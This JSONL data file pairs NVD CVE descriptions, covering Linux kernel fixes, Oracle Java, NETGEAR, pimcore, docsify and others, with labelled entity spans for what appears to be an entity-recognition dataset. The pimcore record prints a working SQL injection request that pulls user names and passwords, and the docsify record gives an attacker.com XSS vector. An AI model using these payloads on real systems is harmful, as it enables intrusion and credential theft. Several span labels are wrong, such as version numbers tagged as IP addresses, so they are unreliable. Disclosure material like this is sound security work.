{"text": "docsify prior to 4.11.4 is susceptible to Cross-site Scripting (XSS). Docsify.js uses fragment identifiers (parameters after # sign) to load resources from server-side .md files. Due to lack of validation here, it is possible to provide external URLs after the /#/ (domain.com/#//attacker.com) and render arbitrary JavaScript/HTML inside docsify page.", "spans": {"DOMAIN: domain.com": [[266, 276]], "DOMAIN: attacker.com": [[280, 292]], "FILEPATH: Docsify.js": [[70, 80]], "VULNERABILITY: Cross-site Scripting": [[42, 62]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7680"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Sound).  Supported versions that are affected are Oracle Java SE: 8u351, 8u351-perf, 11.0.17, 17.0.5, 19.0.1; Oracle GraalVM Enterprise Edition: 20.3.8, 21.3.4 and  22.3.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [166, 170], [413, 417], [577, 581], [673, 677], [730, 734], [771, 775], [876, 880], [940, 944]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [159, 165], [219, 225], [406, 412], [422, 428], [570, 576], [586, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21843"}}
{"text": "The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{\"keyId\"%3a\"''\",\"groupId\"%3a\"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+\"}]", "spans": {"URL: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{": [[292, 376]], "VULNERABILITY: SQL Injection": [[74, 87]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7759"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: ensure tx skbs always have the MPTCP ext\n\nDue to signed/unsigned comparison, the expression:\n\n\tinfo->size_goal - skb->len > 0\n\nevaluates to true when the size goal is smaller than the\nskb size. That results in lack of tx cache refill, so that\nthe skb allocated by the core TCP code lacks the required\nMPTCP skb extensions.\n\nDue to the above, syzbot is able to trigger the following WARN_ON():\n\nWARNING: CPU: 1 PID: 810 at net/mptcp/protocol.c:1366 mptcp_sendmsg_frag+0x1362/0x1bc0 net/mptcp/protocol.c:1366\nModules linked in:\nCPU: 1 PID: 810 Comm: syz-executor.4 Not tainted 5.14.0-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:mptcp_sendmsg_frag+0x1362/0x1bc0 net/mptcp/protocol.c:1366\nCode: ff 4c 8b 74 24 50 48 8b 5c 24 58 e9 0f fb ff ff e8 13 44 8b f8 4c 89 e7 45 31 ed e8 98 57 2e fe e9 81 f4 ff ff e8 fe 43 8b f8 <0f> 0b 41 bd ea ff ff ff e9 6f f4 ff ff 4c 89 e7 e8 b9 8e d2 f8 e9\nRSP: 0018:ffffc9000531f6a0 EFLAGS: 00010216\nRAX: 000000000000697f RBX: 0000000000000000 RCX: ffffc90012107000\nRDX: 0000000000040000 RSI: ffffffff88eac9e2 RDI: 0000000000000003\nRBP: ffff888078b15780 R08: 0000000000000000 R09: 0000000000000000\nR10: ffffffff88eac017 R11: 0000000000000000 R12: ffff88801de0a280\nR13: 0000000000006b58 R14: ffff888066278280 R15: ffff88803c2fe9c0\nFS:  00007fd9f866e700(0000) GS:ffff8880b9d00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007faebcb2f718 CR3: 00000000267cb000 CR4: 00000000001506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n __mptcp_push_pending+0x1fb/0x6b0 net/mptcp/protocol.c:1547\n mptcp_release_cb+0xfe/0x210 net/mptcp/protocol.c:3003\n release_sock+0xb4/0x1b0 net/core/sock.c:3206\n sk_stream_wait_memory+0x604/0xed0 net/core/stream.c:145\n mptcp_sendmsg+0xc39/0x1bc0 net/mptcp/protocol.c:1749\n inet6_sendmsg+0x99/0xe0 net/ipv6/af_inet6.c:643\n sock_sendmsg_nosec net/socket.c:704 [inline]\n sock_sendmsg+0xcf/0x120 net/socket.c:724\n sock_write_iter+0x2a0/0x3e0 net/socket.c:1057\n call_write_iter include/linux/fs.h:2163 [inline]\n new_sync_write+0x40b/0x640 fs/read_write.c:507\n vfs_write+0x7cf/0xae0 fs/read_write.c:594\n ksys_write+0x1ee/0x250 fs/read_write.c:647\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x4665f9\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fd9f866e188 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 000000000056c038 RCX: 00000000004665f9\nRDX: 00000000000e7b78 RSI: 0000000020000000 RDI: 0000000000000003\nRBP: 00000000004bfcc4 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 000000000056c038\nR13: 0000000000a9fb1f R14: 00007fd9f866e300 R15: 0000000000022000\n\nFix the issue rewriting the relevant expression to avoid\nsign-related problems - note: size_goal is always >= 0.\n\nAdditionally, ensure that the skb in the tx cache always carries\nthe relevant extension.", "spans": {"FILEPATH: /mptcp/protocol.c": [[501, 518], [560, 577], [807, 824], [1778, 1795], [1833, 1850], [1990, 2007]], "FILEPATH: /01/2011": [[752, 760]], "FILEPATH: /core/sock.c": [[1884, 1896]], "FILEPATH: /core/stream.c": [[1940, 1954]], "FILEPATH: /ipv6/af_inet6.c": [[2041, 2057]], "FILEPATH: /linux/fs.h": [[2221, 2232]], "FILEPATH: /x86/entry/common.c": [[2402, 2421], [2463, 2482]], "FILEPATH: socket.c": [[2086, 2094], [2137, 2145], [2183, 2191]], "FILEPATH: read_write.c": [[2278, 2290], [2321, 2333], [2365, 2377]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[686, 692], [693, 699], [715, 721], [743, 749]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47370"}}
{"text": "PolicyController is a utility used to enforce supply chain policy in Kubernetes clusters. In versions prior to 0.2.1 PolicyController will report a false positive, resulting in an admission when it should not be admitted when there is at least one attestation with a valid signature and there are NO attestations of the type being verified (--type defaults to \"custom\"). An example image that can be used to test this is `ghcr.io/distroless/static@sha256:dd7614b5a12bc4d617b223c588b4e0c833402b8f4991fb5702ea83afad1986e2`. Users should upgrade to version 0.2.1 to resolve this issue. There are no workarounds for users unable to upgrade.", "spans": {"DOMAIN: ghcr.io": [[422, 429]], "HASH: dd7614b5a12bc4d617b223c588b4e0c833402b8f4991fb5702ea83afad1986e2": [[455, 519]], "FILEPATH: /distroless/static@sha256": [[429, 454]], "SYSTEM: Kubernetes": [[69, 79]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-35930"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86/amd/pmc: Only disable IRQ1 wakeup where i8042 actually enabled it\n\nWakeup for IRQ1 should be disabled only in cases where i8042 had\nactually enabled it, otherwise \"wake_depth\" for this IRQ will try to\ndrop below zero and there will be an unpleasant WARN() logged:\n\nkernel: atkbd serio0: Disabling IRQ1 wakeup source to avoid platform firmware bug\nkernel: ------------[ cut here ]------------\nkernel: Unbalanced IRQ 1 wake disable\nkernel: WARNING: CPU: 10 PID: 6431 at kernel/irq/manage.c:920 irq_set_irq_wake+0x147/0x1a0\n\nThe PMC driver uses DEFINE_SIMPLE_DEV_PM_OPS() to define its dev_pm_ops\nwhich sets amd_pmc_suspend_handler() to the .suspend, .freeze, and\n.poweroff handlers. i8042_pm_suspend(), however, is only set as\nthe .suspend handler.\n\nFix the issue by call PMC suspend handler only from the same set of\ndev_pm_ops handlers as i8042_pm_suspend(), which currently means just\nthe .suspend handler.\n\nTo reproduce this issue try hibernating (S4) the machine after a fresh boot\nwithout putting it into s2idle first.\n\n[ij: edited the commit message.]", "spans": {"FILEPATH: /x86/amd/pmc": [[77, 89]], "FILEPATH: /irq/manage.c": [[556, 569]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21645"}}
{"text": "Qihoo 360 (https://www.360.cn/) Qihoo 360 Safeguard (https://www.360.cn/) Qihoo 360 Total Security (http://www.360totalsecurity.com/) is affected by: Buffer Overflow. The impact is: execute arbitrary code (local). The component is: This is a set of vulnerabilities affecting popular software, \"360 Safeguard(12.1.0.1004,12.1.0.1005,13.1.0.1001)\" , \"360 Total Security(10.8.0.1060,10.8.0.1213)\", \"360 Safe Browser & 360 Chrome(13.0.2170.0)\". The attack vector is: On the browser vulnerability, just open a link to complete the vulnerability exploitation remotely; on the client software, you need to locally execute the vulnerability exploitation program, which of course can be achieved with the full chain of browser vulnerability. ¶¶ This is a set of the most serious vulnerabilities that exist on Qihoo 360's PC client a variety of popular software, remote vulnerabilities can be completed by opening a link to arbitrary code execution on both security browsers, with the use of local vulnerabilities, not only help the vulnerability code constitutes an escalation of privileges, er can make the spyware persistent without being scanned permanently resides on the target PC computer (because local vulnerability against Qihoo 360 company's antivirus kernel flaws); this group of remote and local vulnerability of the perfect match, to achieve an information security fallacy, in Qihoo 360's antivirus vulnerability, not only can not be scanned out of the virus, but will help the virus persistently control the target computer, while Qihoo 360 claims to be a safe browser, which exists in the kernel vulnerability but helped the composition of the remote vulnerability. (Security expert \"Memory Corruptor\" have reported this set of vulnerabilities to the corresponding vendor, all vulnerabilities have been fixed and the vendor rewarded thousands of dollars to the security experts)", "spans": {"URL: https://www.360.cn/": [[11, 30], [53, 72]], "URL: http://www.360totalsecurity.com/": [[100, 132]], "VULNERABILITY: Buffer Overflow": [[150, 165]], "VULNERABILITY: code execution": [[924, 938]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-33971"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu/nocb: Fix missed RCU barrier on deoffloading\n\nCurrently, running rcutorture test with torture_type=rcu fwd_progress=8\nn_barrier_cbs=8 nocbs_nthreads=8 nocbs_toggle=100 onoff_interval=60\ntest_boost=2, will trigger the following warning:\n\n\tWARNING: CPU: 19 PID: 100 at kernel/rcu/tree_nocb.h:1061 rcu_nocb_rdp_deoffload+0x292/0x2a0\n\tRIP: 0010:rcu_nocb_rdp_deoffload+0x292/0x2a0\n\t Call Trace:\n\t  <TASK>\n\t  ? __warn+0x7e/0x120\n\t  ? rcu_nocb_rdp_deoffload+0x292/0x2a0\n\t  ? report_bug+0x18e/0x1a0\n\t  ? handle_bug+0x3d/0x70\n\t  ? exc_invalid_op+0x18/0x70\n\t  ? asm_exc_invalid_op+0x1a/0x20\n\t  ? rcu_nocb_rdp_deoffload+0x292/0x2a0\n\t  rcu_nocb_cpu_deoffload+0x70/0xa0\n\t  rcu_nocb_toggle+0x136/0x1c0\n\t  ? __pfx_rcu_nocb_toggle+0x10/0x10\n\t  kthread+0xd1/0x100\n\t  ? __pfx_kthread+0x10/0x10\n\t  ret_from_fork+0x2f/0x50\n\t  ? __pfx_kthread+0x10/0x10\n\t  ret_from_fork_asm+0x1a/0x30\n\t  </TASK>\n\nCPU0                               CPU2                          CPU3\n//rcu_nocb_toggle             //nocb_cb_wait                   //rcutorture\n\n// deoffload CPU1             // process CPU1's rdp\nrcu_barrier()\n    rcu_segcblist_entrain()\n        rcu_segcblist_add_len(1);\n        // len == 2\n        // enqueue barrier\n        // callback to CPU1's\n        // rdp->cblist\n                             rcu_do_batch()\n                                 // invoke CPU1's rdp->cblist\n                                 // callback\n                                 rcu_barrier_callback()\n                                                             rcu_barrier()\n                                                               mutex_lock(&rcu_state.barrier_mutex);\n                                                               // still see len == 2\n                                                               // enqueue barrier callback\n                                                               // to CPU1's rdp->cblist\n                                                               rcu_segcblist_entrain()\n                                                                   rcu_segcblist_add_len(1);\n                                                                   // len == 3\n                                 // decrement len\n                                 rcu_segcblist_add_len(-2);\n                             kthread_parkme()\n\n// CPU1's rdp->cblist len == 1\n// Warn because there is\n// still a pending barrier\n// trigger warning\nWARN_ON_ONCE(rcu_segcblist_n_cbs(&rdp->cblist));\ncpus_read_unlock();\n\n                                                                // wait CPU1 to comes online and\n                                                                // invoke barrier callback on\n                                                                // CPU1 rdp's->cblist\n                                                                wait_for_completion(&rcu_state.barrier_completion);\n// deoffload CPU4\ncpus_read_lock()\n  rcu_barrier()\n    mutex_lock(&rcu_state.barrier_mutex);\n    // block on barrier_mutex\n    // wait rcu_barrier() on\n    // CPU3 to unlock barrier_mutex\n    // but CPU3 unlock barrier_mutex\n    // need to wait CPU1 comes online\n    // when CPU1 going online will block on cpus_write_lock\n\nThe above scenario will not only trigger a WARN_ON_ONCE(), but also\ntrigger a deadlock.\n\nThanks to nocb locking, a second racing rcu_barrier() on an offline CPU\nwill either observe the decremented callback counter down to 0 and spare\nthe callback enqueue, or rcuo will observe the new callback and keep\nrdp->nocb_cb_sleep to false.\n\nTherefore check rdp->nocb_cb_sleep before parking to make sure no\nfurther rcu_barrier() is waiting on the rdp.", "spans": {"FILEPATH: /rcu/tree_nocb.h": [[346, 362]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56547"}}
{"text": "Deserialization of Untrusted Data, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Software Foundation Apache Airflow Spark Provider.\n\nWhen the Apache Spark provider is installed on an Airflow deployment, an Airflow user that is authorized to configure Spark hooks can effectively run arbitrary code on the Airflow node by pointing it at a malicious Spark server. Prior to version 4.1.3, this was not called out in the documentation explicitly, so it is possible that administrators provided authorizations to configure Spark hooks without taking this into account. We recommend administrators to review their configurations to make sure the authorization to configure Spark hooks is only provided to fully trusted users.\n\nTo view the warning in the docs please visit  https://airflow.apache.org/docs/apache-airflow-providers-apache-spark/4.1.3/connections/spark.html", "spans": {"URL: https://airflow.apache.org/docs/apache-airflow-providers-apache-spark/4.1.3/connections/spark.html": [[802, 900]], "SYSTEM: Apache Airflow": [[136, 150]], "SYSTEM: Apache Spark": [[177, 189]], "ORGANIZATION: Apache": [[109, 115]], "VULNERABILITY: Deserialization": [[0, 15]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-40195"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on node blkaddr in truncate_node()\n\nsyzbot reports a f2fs bug as below:\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/segment.c:2534!\nRIP: 0010:f2fs_invalidate_blocks+0x35f/0x370 fs/f2fs/segment.c:2534\nCall Trace:\n truncate_node+0x1ae/0x8c0 fs/f2fs/node.c:909\n f2fs_remove_inode_page+0x5c2/0x870 fs/f2fs/node.c:1288\n f2fs_evict_inode+0x879/0x15c0 fs/f2fs/inode.c:856\n evict+0x4e8/0x9b0 fs/inode.c:723\n f2fs_handle_failed_inode+0x271/0x2e0 fs/f2fs/inode.c:986\n f2fs_create+0x357/0x530 fs/f2fs/namei.c:394\n lookup_open fs/namei.c:3595 [inline]\n open_last_lookups fs/namei.c:3694 [inline]\n path_openat+0x1c03/0x3590 fs/namei.c:3930\n do_filp_open+0x235/0x490 fs/namei.c:3960\n do_sys_openat2+0x13e/0x1d0 fs/open.c:1415\n do_sys_open fs/open.c:1430 [inline]\n __do_sys_openat fs/open.c:1446 [inline]\n __se_sys_openat fs/open.c:1441 [inline]\n __x64_sys_openat+0x247/0x2a0 fs/open.c:1441\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0010:f2fs_invalidate_blocks+0x35f/0x370 fs/f2fs/segment.c:2534\n\nThe root cause is: on a fuzzed image, blkaddr in nat entry may be\ncorrupted, then it will cause system panic when using it in\nf2fs_invalidate_blocks(), to avoid this, let's add sanity check on\nnat blkaddr in truncate_node().", "spans": {"FILEPATH: /f2fs/segment.c": [[224, 239], [293, 308], [1184, 1199]], "FILEPATH: /f2fs/node.c": [[355, 367], [410, 422]], "FILEPATH: /f2fs/inode.c": [[461, 474], [553, 566]], "FILEPATH: /f2fs/namei.c": [[598, 611]], "FILEPATH: /x86/entry/common.c": [[1010, 1029], [1072, 1091]], "FILEPATH: inode.c": [[501, 508]], "FILEPATH: namei.c": [[632, 639], [676, 683], [728, 735], [770, 777]], "FILEPATH: open.c": [[814, 820], [842, 848], [883, 889], [924, 930], [978, 984]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56692"}}
{"text": "Multiple vulnerabilities in the Server Message Block Version 2 (SMB2) processor of the Snort detection engine on multiple Cisco products could allow an unauthenticated, remote attacker to bypass the configured policies or cause a denial of service (DoS) condition on an affected device.\r\n\r These vulnerabilities are due to improper management of system resources when the Snort detection engine is processing SMB2 traffic. An attacker could exploit these vulnerabilities by sending a high rate of certain types of SMB2 packets through an affected device. A successful exploit could allow the attacker to trigger a reload of the Snort process, resulting in a DoS condition.\r\n\r Note: When the snort preserve-connection option is enabled for the Snort detection engine, a successful exploit could also allow the attacker to bypass the configured policies and deliver a malicious payload to the protected network. The snort preserve-connection setting is enabled by default. See the Details [\"#details\"] section of this advisory for more information.\r\n\r Note: Only products that have Snort 3 configured are affected. Products that are configured with Snort 2 are not affected.", "spans": {"ORGANIZATION: Cisco": [[122, 127]], "VULNERABILITY: denial of service": [[230, 247]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-20943"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: ImageIO). Supported versions that are affected are Oracle Java SE: 7u321, 8u311, 11.0.13, 17.0.1; Oracle GraalVM Enterprise Edition: 20.3.4 and 21.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [167, 171], [390, 394], [571, 575], [651, 655], [708, 712], [749, 753], [854, 858]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [160, 166], [207, 213], [383, 389], [399, 405], [564, 570], [580, 586]], "VULNERABILITY: denial of service": [[529, 546]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21360"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nftrace: Do not over-allocate ftrace memory\n\nThe pg_remaining calculation in ftrace_process_locs() assumes that\nENTRIES_PER_PAGE multiplied by 2^order equals the actual capacity of the\nallocated page group. However, ENTRIES_PER_PAGE is PAGE_SIZE / ENTRY_SIZE\n(integer division). When PAGE_SIZE is not a multiple of ENTRY_SIZE (e.g.\n4096 / 24 = 170 with remainder 16), high-order allocations (like 256 pages)\nhave significantly more capacity than 256 * 170. This leads to pg_remaining\nbeing underestimated, which in turn makes skip (derived from skipped -\npg_remaining) larger than expected, causing the WARN(skip != remaining)\nto trigger.\n\nExtra allocated pages for ftrace: 2 with 654 skipped\nWARNING: CPU: 0 PID: 0 at kernel/trace/ftrace.c:7295 ftrace_process_locs+0x5bf/0x5e0\n\nA similar problem in ftrace_allocate_records() can result in allocating\ntoo many pages. This can trigger the second warning in\nftrace_process_locs().\n\nExtra allocated pages for ftrace\nWARNING: CPU: 0 PID: 0 at kernel/trace/ftrace.c:7276 ftrace_process_locs+0x548/0x580\n\nUse the actual capacity of a page group to determine the number of pages\nto allocate. Have ftrace_allocate_pages() return the number of allocated\npages to avoid having to calculate it. Use the actual page group capacity\nwhen validating the number of unused pages due to skipped entries.\nDrop the definition of ENTRIES_PER_PAGE since it is no longer used.", "spans": {"FILEPATH: /trace/ftrace.c": [[793, 808], [1063, 1078]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23052"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm thin: Fix ABBA deadlock between shrink_slab and dm_pool_abort_metadata\n\nFollowing concurrent processes:\n\n          P1(drop cache)                P2(kworker)\ndrop_caches_sysctl_handler\n drop_slab\n  shrink_slab\n   down_read(&shrinker_rwsem)  - LOCK A\n   do_shrink_slab\n    super_cache_scan\n     prune_icache_sb\n      dispose_list\n       evict\n        ext4_evict_inode\n\t ext4_clear_inode\n\t  ext4_discard_preallocations\n\t   ext4_mb_load_buddy_gfp\n\t    ext4_mb_init_cache\n\t     ext4_read_block_bitmap_nowait\n\t      ext4_read_bh_nowait\n\t       submit_bh\n\t        dm_submit_bio\n\t\t                 do_worker\n\t\t\t\t  process_deferred_bios\n\t\t\t\t   commit\n\t\t\t\t    metadata_operation_failed\n\t\t\t\t     dm_pool_abort_metadata\n\t\t\t\t      down_write(&pmd->root_lock) - LOCK B\n\t\t                      __destroy_persistent_data_objects\n\t\t\t\t       dm_block_manager_destroy\n\t\t\t\t        dm_bufio_client_destroy\n\t\t\t\t         unregister_shrinker\n\t\t\t\t\t  down_write(&shrinker_rwsem)\n\t\t thin_map                            |\n\t\t  dm_thin_find_block                 ↓\n\t\t   down_read(&pmd->root_lock) --> ABBA deadlock\n\n, which triggers hung task:\n\n[   76.974820] INFO: task kworker/u4:3:63 blocked for more than 15 seconds.\n[   76.976019]       Not tainted 6.1.0-rc4-00011-g8f17dd350364-dirty #910\n[   76.978521] task:kworker/u4:3    state:D stack:0     pid:63    ppid:2\n[   76.978534] Workqueue: dm-thin do_worker\n[   76.978552] Call Trace:\n[   76.978564]  __schedule+0x6ba/0x10f0\n[   76.978582]  schedule+0x9d/0x1e0\n[   76.978588]  rwsem_down_write_slowpath+0x587/0xdf0\n[   76.978600]  down_write+0xec/0x110\n[   76.978607]  unregister_shrinker+0x2c/0xf0\n[   76.978616]  dm_bufio_client_destroy+0x116/0x3d0\n[   76.978625]  dm_block_manager_destroy+0x19/0x40\n[   76.978629]  __destroy_persistent_data_objects+0x5e/0x70\n[   76.978636]  dm_pool_abort_metadata+0x8e/0x100\n[   76.978643]  metadata_operation_failed+0x86/0x110\n[   76.978649]  commit+0x6a/0x230\n[   76.978655]  do_worker+0xc6e/0xd90\n[   76.978702]  process_one_work+0x269/0x630\n[   76.978714]  worker_thread+0x266/0x630\n[   76.978730]  kthread+0x151/0x1b0\n[   76.978772] INFO: task test.sh:2646 blocked for more than 15 seconds.\n[   76.979756]       Not tainted 6.1.0-rc4-00011-g8f17dd350364-dirty #910\n[   76.982111] task:test.sh         state:D stack:0     pid:2646  ppid:2459\n[   76.982128] Call Trace:\n[   76.982139]  __schedule+0x6ba/0x10f0\n[   76.982155]  schedule+0x9d/0x1e0\n[   76.982159]  rwsem_down_read_slowpath+0x4f4/0x910\n[   76.982173]  down_read+0x84/0x170\n[   76.982177]  dm_thin_find_block+0x4c/0xd0\n[   76.982183]  thin_map+0x201/0x3d0\n[   76.982188]  __map_bio+0x5b/0x350\n[   76.982195]  dm_submit_bio+0x2b6/0x930\n[   76.982202]  __submit_bio+0x123/0x2d0\n[   76.982209]  submit_bio_noacct_nocheck+0x101/0x3e0\n[   76.982222]  submit_bio_noacct+0x389/0x770\n[   76.982227]  submit_bio+0x50/0xc0\n[   76.982232]  submit_bh_wbc+0x15e/0x230\n[   76.982238]  submit_bh+0x14/0x20\n[   76.982241]  ext4_read_bh_nowait+0xc5/0x130\n[   76.982247]  ext4_read_block_bitmap_nowait+0x340/0xc60\n[   76.982254]  ext4_mb_init_cache+0x1ce/0xdc0\n[   76.982259]  ext4_mb_load_buddy_gfp+0x987/0xfa0\n[   76.982263]  ext4_discard_preallocations+0x45d/0x830\n[   76.982274]  ext4_clear_inode+0x48/0xf0\n[   76.982280]  ext4_evict_inode+0xcf/0xc70\n[   76.982285]  evict+0x119/0x2b0\n[   76.982290]  dispose_list+0x43/0xa0\n[   76.982294]  prune_icache_sb+0x64/0x90\n[   76.982298]  super_cache_scan+0x155/0x210\n[   76.982303]  do_shrink_slab+0x19e/0x4e0\n[   76.982310]  shrink_slab+0x2bd/0x450\n[   76.982317]  drop_slab+0xcc/0x1a0\n[   76.982323]  drop_caches_sysctl_handler+0xb7/0xe0\n[   76.982327]  proc_sys_call_handler+0x1bc/0x300\n[   76.982331]  proc_sys_write+0x17/0x20\n[   76.982334]  vfs_write+0x3d3/0x570\n[   76.982342]  ksys_write+0x73/0x160\n[   76.982347]  __x64_sys_write+0x1e/0x30\n[   76.982352]  do_syscall_64+0x35/0x80\n[   76.982357]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nFunct\n---truncated---", "spans": {"FILEPATH: test.sh": [[2182, 2189], [2323, 2330]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50549"}}
{"text": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects EX6200v2 before 1.0.1.86, EX6250 before 1.0.0.134, EX7700 before 1.0.0.216, EX8000 before 1.0.1.232, LBR1020 before 2.6.3.58, LBR20 before 2.6.3.50, R7800 before 1.0.2.80, R8900 before 1.0.5.26, R9000 before 1.0.5.26, RBS50Y before 2.7.3.22, WNR2000v5 before 1.0.0.76, XR700 before 1.0.1.36, EX6150v2 before 1.0.1.98, EX7300 before 1.0.2.158, EX7320 before 1.0.0.134, RAX10 before 1.0.2.88, RAX120 before 1.2.0.16, RAX70 before 1.0.2.88, EX6100v2 before 1.0.1.98, EX6400 before 1.0.2.158, EX7300v2 before 1.0.0.134, R6700AX before 1.0.2.88, RAX120v2 before 1.2.0.16, RAX78 before 1.0.2.88, EX6410 before 1.0.0.134, RBR10 before 2.7.3.22, RBR20 before 2.7.3.22, RBR350 before 4.3.4.7, RBR40 before 2.7.3.22, RBR50 before 2.7.3.22, EX6420 before 1.0.0.134, RBS10 before 2.7.3.22, RBS20 before 2.7.3.22, RBS350 before 4.3.4.7, RBS40 before 2.7.3.22, RBS50 before 2.7.3.22, EX6400v2 before 1.0.0.134, RBK12 before 2.7.3.22, RBK20 before 2.7.3.22, RBK352 before 4.3.4.7, RBK40 before 2.7.3.22, and RBK50 before 2.7.3.22.", "spans": {"IP_ADDRESS: 1.0.1.86": [[119, 127]], "IP_ADDRESS: 1.0.0.134": [[143, 152], [460, 469], [608, 617], [707, 716], [847, 856], [989, 998]], "IP_ADDRESS: 1.0.0.216": [[168, 177]], "IP_ADDRESS: 1.0.1.232": [[193, 202]], "IP_ADDRESS: 2.6.3.58": [[219, 227]], "IP_ADDRESS: 2.6.3.50": [[242, 250]], "IP_ADDRESS: 1.0.2.80": [[265, 273]], "IP_ADDRESS: 1.0.5.26": [[288, 296], [311, 319]], "IP_ADDRESS: 2.7.3.22": [[335, 343], [731, 739], [754, 762], [800, 808], [823, 831], [871, 879], [894, 902], [940, 948], [963, 971], [1013, 1021], [1036, 1044], [1082, 1090], [1109, 1117]], "IP_ADDRESS: 1.0.0.76": [[362, 370]], "IP_ADDRESS: 1.0.1.36": [[385, 393]], "IP_ADDRESS: 1.0.1.98": [[411, 419], [557, 565]], "IP_ADDRESS: 1.0.2.158": [[435, 444], [581, 590]], "IP_ADDRESS: 1.0.2.88": [[484, 492], [531, 539], [634, 642], [683, 691]], "IP_ADDRESS: 1.2.0.16": [[508, 516], [660, 668]], "IP_ADDRESS: 4.3.4.7": [[778, 785], [918, 925], [1060, 1067]], "VULNERABILITY: command injection": [[40, 57]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45619"}}
